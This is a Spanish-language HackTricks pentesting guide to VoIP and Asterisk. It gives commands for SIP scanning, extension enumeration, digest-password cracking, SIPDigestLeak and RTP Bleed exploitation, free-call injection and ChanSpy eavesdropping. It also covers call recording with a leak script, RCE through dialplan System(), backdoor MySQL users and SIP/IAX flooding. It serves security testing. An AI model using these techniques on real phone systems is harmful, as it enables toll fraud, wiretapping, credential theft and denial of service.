hacktricks/network-services-pentesting/pentesting-voip/README.md
2023-06-03 01:46:23 +00:00

34 KiB

Pentesting VoIP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información básica de VoIP

Para comenzar a aprender cómo funciona VoIP, consulte:

{% content-ref url="basic-voip-protocols/" %} protocolos básicos de VoIP {% endcontent-ref %}

Enumeración de VoIP

Números de teléfono

Uno de los primeros pasos que podría hacer un equipo de Red es buscar números de teléfono disponibles para contactar con la empresa utilizando herramientas de OSINT, búsquedas en Google o raspado de páginas web.

Una vez que tenga los números de teléfono, puede utilizar servicios en línea para identificar el operador:

Saber si el operador proporciona servicios de VoIP podría identificar si la empresa está utilizando VoIP... Además, es posible que la empresa no haya contratado servicios de VoIP, pero esté utilizando tarjetas PSTN para conectar su propia PBX de VoIP a la red telefónica tradicional.

Cosas como respuestas automáticas de música suelen indicar que se está utilizando VoIP.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

Información OSINT

Cualquier otra enumeración OSINT que ayude a identificar el software VoIP que se está utilizando será útil para un equipo de Red.

Enumeración de red

  • nmap es capaz de escanear servicios UDP, pero debido al número de servicios UDP que se están escaneando, es muy lento y puede no ser muy preciso con este tipo de servicios.
  • svmap de SIPVicious (sudo apt install sipvicious): localizará servicios SIP en la red indicada.
    • svmap es fácil de bloquear porque utiliza el User-Agent friendly-scanner, pero se podría modificar el código de /usr/share/sipvicious/sipvicious y cambiarlo.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py de sippts: Sipscan es un escáner muy rápido para servicios SIP sobre UDP, TCP o TLS. Utiliza multihilo y puede escanear grandes rangos de redes. Permite indicar fácilmente un rango de puertos, escanear tanto TCP como UDP, utilizar otro método (por defecto utilizará OPTIONS) y especificar un User-Agent diferente (y más).
 ./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200

  • metasploit: Metasploit
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Enumeración de Red Extra

El PBX también podría estar exponiendo otros servicios de red, como:

  • 69/UDP (TFTP): Actualizaciones de firmware
  • 80 (HTTP) / 443 (HTTPS): Para administrar el dispositivo desde la web
  • 389 (LDAP): Alternativa para almacenar la información de los usuarios
  • 3306 (MySQL): Base de datos MySQL
  • 5038 (Manager): Permite usar Asterisk desde otras plataformas
  • 5222 (XMPP): Mensajes usando Jabber
  • 5432 (PostgreSQL): Base de datos PostgreSQL
  • Y otros...

Enumeración de Métodos

Es posible encontrar qué métodos están disponibles para usar en el PBX utilizando sipenumerate.py de sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Enumeración de extensiones

Las extensiones en un sistema PBX (Private Branch Exchange) se refieren a los identificadores internos únicos asignados a líneas telefónicas, dispositivos o usuarios individuales dentro de una organización o empresa. Las extensiones hacen posible enrutamiento de llamadas dentro de la organización de manera eficiente, sin la necesidad de números de teléfono externos individuales para cada usuario o dispositivo.

  • svwar de SIPVicious (sudo apt install sipvicious): svwar es un escáner de líneas de extensión SIP PBX gratuito. En concepto, funciona de manera similar a los wardialers tradicionales al adivinar un rango de extensiones o una lista dada de extensiones.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py de sippts: Sipexten identifica extensiones en un servidor SIP. Sipexten puede revisar grandes rangos de red y puertos.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: También puedes enumerar extensiones/nombres de usuario con metasploit:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX es un enumerador de fuerza bruta de nombres de usuario del protocolo Inter Asterisk Exchange. enumIAX puede operar en dos modos distintos; Adivinanza secuencial de nombres de usuario o Ataque de diccionario.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary 
enumiax -v -m3 -M3 10.10.0.10

Ataques VoIP

Fuerza Bruta de Contraseñas

Una vez que se ha descubierto el PBX y algunos nombres de usuario/extensiones, un equipo de Red puede intentar autenticarse a través del método REGISTER en una extensión utilizando un diccionario de contraseñas comunes para realizar una fuerza bruta en la autenticación.

{% hint style="danger" %} Tenga en cuenta que un nombre de usuario puede ser el mismo que la extensión, pero esta práctica puede variar según el sistema PBX, su configuración y las preferencias de la organización...

Si el nombre de usuario no es el mismo que la extensión, deberá averiguar el nombre de usuario para realizar la fuerza bruta. {% endhint %}

  • svcrack de SIPVicious (sudo apt install sipvicious): SVCrack le permite descifrar la contraseña de un nombre de usuario/extensión específico en un PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py de sippts: SIP Digest Crack es una herramienta para crackear autenticaciones digest dentro del protocolo SIP.
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

{% endcode %}

Sniffing de VoIP

Si encuentras equipos de VoIP dentro de una red Wifi abierta, podrías capturar toda la información. Además, si estás dentro de una red más cerrada (conectado a través de Ethernet o Wifi protegida) podrías realizar ataques MitM como ARPspoofing entre el PBX y la pasarela para capturar la información.

Entre la información de la red, podrías encontrar credenciales web para administrar el equipo, extensiones de usuario, nombre de usuario, direcciones IP, incluso contraseñas hash y paquetes RTP que podrías reproducir para escuchar la conversación, y más.

Para obtener esta información, podrías utilizar herramientas como Wireshark, tcpdump... pero una herramienta especialmente creada para capturar conversaciones de VoIP es ucsniff.

{% hint style="danger" %} Ten en cuenta que si se utiliza TLS en la comunicación SIP no podrás ver la comunicación SIP en claro.
Lo mismo sucederá si se utiliza SRTP y ZRTP, los paquetes RTP no estarán en texto claro. {% endhint %}

Credenciales SIP

Revisa este ejemplo para entender mejor una comunicación SIP REGISTER para aprender cómo se envían las credenciales.

  • sipdump y sipcrack, parte de sipcrack (apt-get install sipcrack): Estas herramientas pueden extraer de un pcap las autenticaciones digest dentro del protocolo SIP y realizar fuerza bruta sobre ellas.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py de sippts:
    • SipTshark extrae datos del protocolo SIP de un archivo PCAP.
    • SipDump extrae autenticaciones de SIP Digest de un archivo PCAP.
    • SIP Digest Crack es una herramienta para crackear las autenticaciones digest dentro del protocolo SIP.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

Códigos DTMF

No solo se pueden encontrar las credenciales SIP en el tráfico de red, también es posible encontrar códigos DTMF que se utilizan, por ejemplo, para acceder al correo de voz.
Es posible enviar estos códigos en mensajes INFO SIP, en audio o dentro de paquetes RTP. Si los códigos están dentro de paquetes RTP, se podría cortar esa parte de la conversación y utilizar la herramienta multimo para extraerlos:

multimon -a DTMF -t wac pin.wav

Llamadas gratuitas / Configuraciones incorrectas de conexiones de Asterisk

En Asterisk es posible permitir una conexión desde una dirección IP específica o desde cualquier dirección IP:

host=10.10.10.10
host=dynamic

Si se especifica una dirección IP, el host no necesitará enviar solicitudes REGISTER de vez en cuando (en el paquete REGISTER se envía el tiempo de vida, generalmente 30 minutos, lo que significa que en otro escenario el teléfono necesitará REGISTRARSE cada 30 minutos). Sin embargo, deberá tener puertos abiertos que permitan conexiones desde el servidor VoIP para recibir llamadas.

Para definir usuarios, se pueden definir como:

  • type=user: El usuario solo puede recibir llamadas como usuario.
  • type=friend: Es posible realizar llamadas como peer y recibirlas como usuario (usado con extensiones).
  • type=peer: Es posible enviar y recibir llamadas como peer (trunks SIP).

También es posible establecer confianza con la variable insegura:

  • insecure=port: Permite conexiones peer validadas por IP.
  • insecure=invite: No requiere autenticación para los mensajes INVITE.
  • insecure=port,invite: Ambos.

{% hint style="warning" %} Cuando se utiliza type=friend, el valor de la variable host no se utilizará, por lo que si un administrador configura incorrectamente un trunk SIP utilizando ese valor, cualquiera podrá conectarse a él.

Por ejemplo, esta configuración sería vulnerable:
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Llamadas gratuitas / Configuraciones incorrectas de contexto de Asterisk

En Asterisk, un contexto es un contenedor o sección con nombre en el plan de marcación que agrupa extensiones, acciones y reglas relacionadas. El plan de marcación es el componente principal de un sistema Asterisk, ya que define cómo se manejan y enrutan las llamadas entrantes y salientes. Los contextos se utilizan para organizar el plan de marcación, administrar el control de acceso y proporcionar separación entre diferentes partes del sistema.

Cada contexto se define en el archivo de configuración, típicamente en el archivo extensions.conf. Los contextos se indican mediante corchetes, con el nombre del contexto encerrado dentro de ellos. Por ejemplo:

csharpCopy code[my_context]

Dentro del contexto, se definen extensiones (patrones de números marcados) y se les asocia con una serie de acciones o aplicaciones. Estas acciones determinan cómo se procesa la llamada. Por ejemplo:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Este ejemplo demuestra un contexto simple llamado "mi_contexto" con una extensión "100". Cuando alguien marque 100, la llamada será contestada, se reproducirá un mensaje de bienvenida y luego la llamada será terminada.

Este es otro contexto que permite llamar a cualquier otro número:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Si el administrador define el contexto predeterminado como:

[default]
include => my_context
include => external

{% hint style="warning" %} Cualquier persona podrá utilizar el servidor para llamar a cualquier otro número (y el administrador del servidor pagará por la llamada). {% endhint %}

{% hint style="danger" %} Además, por defecto el archivo sip.conf contiene allowguest=true, entonces cualquier atacante sin autenticación podrá llamar a cualquier otro número. {% endhint %}

  • sipinvite.py de sippts: Sipinvite comprueba si un servidor PBX nos permite hacer llamadas sin autenticación. Si el servidor SIP tiene una configuración incorrecta, nos permitirá hacer llamadas a números externos. También puede permitirnos transferir la llamada a un segundo número externo.

    Por ejemplo, si su servidor Asterisk tiene una mala configuración de contexto, puede aceptar solicitudes INVITE sin autorización. En este caso, un atacante puede hacer llamadas sin conocer ningún usuario/contraseña.

{% code overflow="wrap" %}

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

Llamadas gratuitas / IVRS mal configurado

IVRS significa Sistema de Respuesta de Voz Interactiva, una tecnología de telefonía que permite a los usuarios interactuar con un sistema informatizado a través de entradas de voz o de tonos táctiles. IVRS se utiliza para construir sistemas de manejo de llamadas automatizados que ofrecen una variedad de funcionalidades, como proporcionar información, enrutar llamadas y capturar la entrada del usuario.

IVRS en sistemas VoIP típicamente consta de:

  1. Indicaciones de voz: Mensajes de audio pregrabados que guían a los usuarios a través de las opciones y las instrucciones del menú IVR.
  2. Señalización DTMF (Frecuencia Múltiple de Tono Dual): Entradas de tonos táctiles generadas al presionar teclas en el teléfono, que se utilizan para navegar por los menús IVR y proporcionar entrada.
  3. Enrutamiento de llamadas: Dirigir las llamadas al destino apropiado, como departamentos específicos, agentes o extensiones basadas en la entrada del usuario.
  4. Captura de entrada del usuario: Recopilación de información de los llamantes, como números de cuenta, identificaciones de casos o cualquier otro dato relevante.
  5. Integración con sistemas externos: Conectar el sistema IVR a bases de datos u otros sistemas de software para acceder o actualizar información, realizar acciones o activar eventos.

En un sistema VoIP Asterisk, puede crear un IVR utilizando el plan de marcación (archivo extensions.conf) y varias aplicaciones como Background(), Playback(), Read(), y más. Estas aplicaciones le ayudan a reproducir indicaciones de voz, capturar la entrada del usuario y controlar el flujo de la llamada.

Ejemplo de configuración vulnerable

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

El siguiente es un ejemplo en el que se le pide al usuario que presione 1 para llamar a un departamento, 2 para llamar a otro, o la extensión completa si la conoce.
La vulnerabilidad radica en que la longitud de la extensión no se verifica, por lo que un usuario podría ingresar un número completo después del tiempo de espera de 5 segundos y se realizará la llamada.

Inyección de extensión

Usando una extensión como:

exten => _X.,1,Dial(SIP/${EXTEN})

Donde ${EXTEN} es la extensión que se va a llamar, cuando se introduce la ext 101 esto es lo que sucedería:

exten => 101,1,Dial(SIP/101)

Sin embargo, si ${EXTEN} permite introducir más que números (como en versiones antiguas de Asterisk), un atacante podría introducir 101&SIP123123123 para llamar al número de teléfono 123123123. Y este sería el resultado:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Por lo tanto, una llamada a la extensión 101 y 123123123 será enviada y solo se establecerá la primera que reciba la llamada... pero si un atacante utiliza una extensión que evita cualquier coincidencia que se esté realizando pero que no existe, podría inyectar una llamada solo al número deseado.

SIPDigestLeak

La Fuga de Digest SIP es una vulnerabilidad que afecta a una gran cantidad de teléfonos SIP, incluyendo tanto teléfonos IP de hardware como de software, así como adaptadores telefónicos (VoIP a analógico). La vulnerabilidad permite la fuga de la respuesta de autenticación Digest, que se calcula a partir de la contraseña. Entonces es posible un ataque de contraseña sin conexión y se pueden recuperar la mayoría de las contraseñas basadas en la respuesta del desafío.

Escenario de vulnerabilidad (para más información, consulte esto):

  1. Un teléfono IP (víctima) está escuchando en el puerto 5060, aceptando llamadas telefónicas.
  2. El atacante envía un INVITE al teléfono IP.
  3. El teléfono víctima comienza a sonar y alguien lo recoge y cuelga (porque nadie responde el teléfono al otro lado).
  4. Cuando se cuelga el teléfono, el teléfono víctima envía un BYE al atacante.
  5. El atacante emite una respuesta 407 que solicita autenticación y emite un desafío de autenticación.
  6. El teléfono víctima proporciona una respuesta al desafío de autenticación en un segundo BYE.
  7. El atacante puede entonces emitir un ataque de fuerza bruta en la respuesta del desafío en su máquina local (o red distribuida, etc.) y adivinar la contraseña.
  • sipdigestleak.py de sippts: SipDigestLeak explota esta vulnerabilidad.
python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
	... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call permite a un usuario web (que por ejemplo podría estar interesado en un producto) introducir su número de teléfono para recibir una llamada. Luego, se llamará a un comercial y cuando este conteste el teléfono, el usuario será llamado y conectado con el agente.

Un perfil común de Asterisk para esto es:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • El perfil anterior permite que CUALQUIER dirección IP se conecte (si se conoce la contraseña).
  • Para organizar una llamada, como se especificó anteriormente, no es necesaria ninguna permisión de lectura y solo se necesita originate en write.

Con esas permisiones, cualquier dirección IP que conozca la contraseña podría conectarse y extraer demasiada información, como:

{% code overflow="wrap" %}

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Escuchas

En Asterisk es posible utilizar el comando ChanSpy indicando la extensión(es) a monitorear (o todas) para escuchar las conversaciones que están sucediendo. Este comando debe ser asignado a una extensión.

Por ejemplo, exten => 333,1,ChanSpy('all',qb) indica que si llamas a la extensión 333, se monitorearán todas las extensiones, comenzará a escuchar cuando comience una nueva conversación (b) en modo silencioso (q) ya que no queremos interactuar en ella. Puedes ir de una conversación a otra presionando *, o marcando el número de extensión.

También es posible utilizar ExtenSpy para monitorear solo una extensión.

En lugar de escuchar las conversaciones, es posible grabarlas en archivos utilizando una extensión como:

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Las llamadas se guardarán en /tmp.

Incluso podrías hacer que Asterisk ejecute un script que filtrará la llamada cuando se cierre.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed es un importante problema de seguridad que afecta a los servidores VoIP basados en Asterisk (publicado en 2017). La vulnerabilidad permite que el tráfico RTP (Protocolo de Tiempo Real), que lleva las conversaciones VoIP, sea interceptado y redirigido por cualquier persona en Internet. Esto ocurre porque el tráfico RTP evita la autenticación al navegar a través de los firewalls NAT (Traducción de Direcciones de Red).

Los proxies RTP intentan abordar las limitaciones NAT que afectan a los sistemas RTC mediante la proxyización de flujos RTP entre dos o más partes. Cuando se utiliza NAT, el software de proxy RTP a menudo no puede confiar en la información de IP y puerto RTP recuperada a través de la señalización (por ejemplo, SIP). Por lo tanto, varios proxies RTP han implementado un mecanismo en el que se aprende automáticamente tal tupla de IP y puerto. Esto se hace a menudo mediante la inspección del tráfico RTP entrante y marcando la IP y el puerto de origen de cualquier tráfico RTP entrante como el que debe ser respondido. Este mecanismo, que puede llamarse "modo de aprendizaje", no utiliza ningún tipo de autenticación. Por lo tanto, los atacantes pueden enviar tráfico RTP al proxy RTP y recibir el tráfico RTP proxy destinado al llamante o al receptor de un flujo RTP en curso. Llamamos a esta vulnerabilidad RTP Bleed porque permite a los atacantes recibir flujos de medios RTP destinados a ser enviados a usuarios legítimos.

Otro comportamiento interesante de los proxies RTP y las pilas RTP es que a veces, incluso si no son vulnerables a RTP Bleed, aceptarán, reenviarán y/o procesarán paquetes RTP de cualquier origen. Por lo tanto, los atacantes pueden enviar paquetes RTP que les permitan inyectar sus medios en lugar de los legítimos. Llamamos a este ataque RTP injection porque permite la inyección de paquetes RTP ilegítimos en flujos RTP existentes. Esta vulnerabilidad puede encontrarse tanto en los proxies RTP como en los puntos finales.

Asterisk y FreePBX han utilizado tradicionalmente la configuración NAT=yes, que permite que el tráfico RTP evite la autenticación, lo que puede provocar que no haya audio o que el audio sea unidireccional en las llamadas.

Para obtener más información, consulte https://www.rtpbleed.com/

  • rtpbleed.py de sippts: Detecta la vulnerabilidad de RTP Bleed enviando flujos RTP.
python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py de sippts: Detecta la vulnerabilidad de RTP Bleed enviando flujos de RTP.
python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py de sippts: Explota la vulnerabilidad RTP Bleed enviando flujos RTP.
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py de sippts: Explota la vulnerabilidad RTP Bleed enviando flujos RTP (desde un archivo de audio)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Si de alguna manera logras agregar reglas de extensión y recargarlas en Asterisk (por ejemplo, comprometiendo un servidor de administración web vulnerable), es posible obtener RCE utilizando el comando System.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Existe un comando llamado Shell que se puede utilizar en lugar de System para ejecutar comandos del sistema si es necesario.

{% hint style="warning" %} Si el servidor está prohibiendo el uso de ciertos caracteres en el comando System (como en Elastix), verifique si el servidor web permite crear archivos de alguna manera dentro del sistema (como en Elastix o trixbox), y úselo para crear un script de puerta trasera y luego use System para ejecutar ese script. {% endhint %}

Archivos locales interesantes y permisos

  • sip.conf -> Contiene la contraseña de los usuarios SIP.
  • Si el servidor Asterisk se está ejecutando como root, se podría comprometer root.
  • El usuario root de mysql podría no tener ninguna contraseña.
    • esto podría usarse para crear un nuevo usuario de mysql como puerta trasera.
  • FreePBX
    • amportal.conf -> Contiene la contraseña del administrador del panel web (FreePBX).
    • FreePBX.conf -> Contiene la contraseña del usuario FreePBXuser utilizado para acceder a la base de datos.
      • esto podría usarse para crear un nuevo usuario de mysql como puerta trasera.
  • Elastix
    • Elastix.conf -> Contiene varias contraseñas en texto claro como la contraseña de root de mysql, la contraseña de IMAPd, la contraseña de administrador web.
  • Varias carpetas pertenecerán al usuario de Asterisk comprometido (si no se está ejecutando como root). Este usuario puede leer los archivos anteriores y también controla la configuración, por lo que podría hacer que Asterisk cargue otros binarios con puertas traseras cuando se ejecuta.

Inyección de RTP

Es posible insertar un .wav en las conversaciones utilizando herramientas como rtpinsertsound (sudo apt install rtpinsertsound) y rtpmixsound (sudo apt install rtpmixsound).

O se pueden usar los scripts de http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ para escanear conversaciones (rtpscan.pl), enviar un .wav a una conversación (rtpsend.pl) e insertar ruido en una conversación (rtpflood.pl).

DoS

Hay varias formas de intentar lograr un DoS en los servidores VoIP.

  • sipflood.py de sippts**: **SipFlood envía mensajes ilimitados al objetivo.
    • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
  • IAXFlooder: DoS del protocolo IAX utilizado por Asterisk.
  • inviteflood: Una herramienta para realizar inundaciones de mensajes SIP/SDP INVITE sobre UDP/IP.
  • rtpflood: Envía varios paquetes RTP bien formados. Es necesario conocer los puertos RTP que se están utilizando (primero sniffear).
  • SIPp: Permite analizar y generar tráfico SIP, por lo que también se puede usar para DoS.
  • SIPsak: Navaja suiza SIP. También se puede usar para realizar ataques SIP.
  • Fuzzers: protos-sip, voiper.
  • sipsend.py de sippts: SIPSend nos permite enviar un mensaje SIP personalizado y analizar la respuesta.
  • wssend.py de sippts: WsSend nos permite enviar un mensaje SIP personalizado sobre WebSockets y analizar la respuesta.

Vulnerabilidades del sistema operativo

La forma más fácil de instalar un software como Asterisk es descargar una distribución del sistema operativo que ya lo tenga instalado, como: FreePBX, Elastix, Trixbox... El problema con estos es que una vez que están funcionando, los administradores del sistema podrían no actualizarlos nuevamente y se descubrirán vulnerabilidades con el tiempo.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥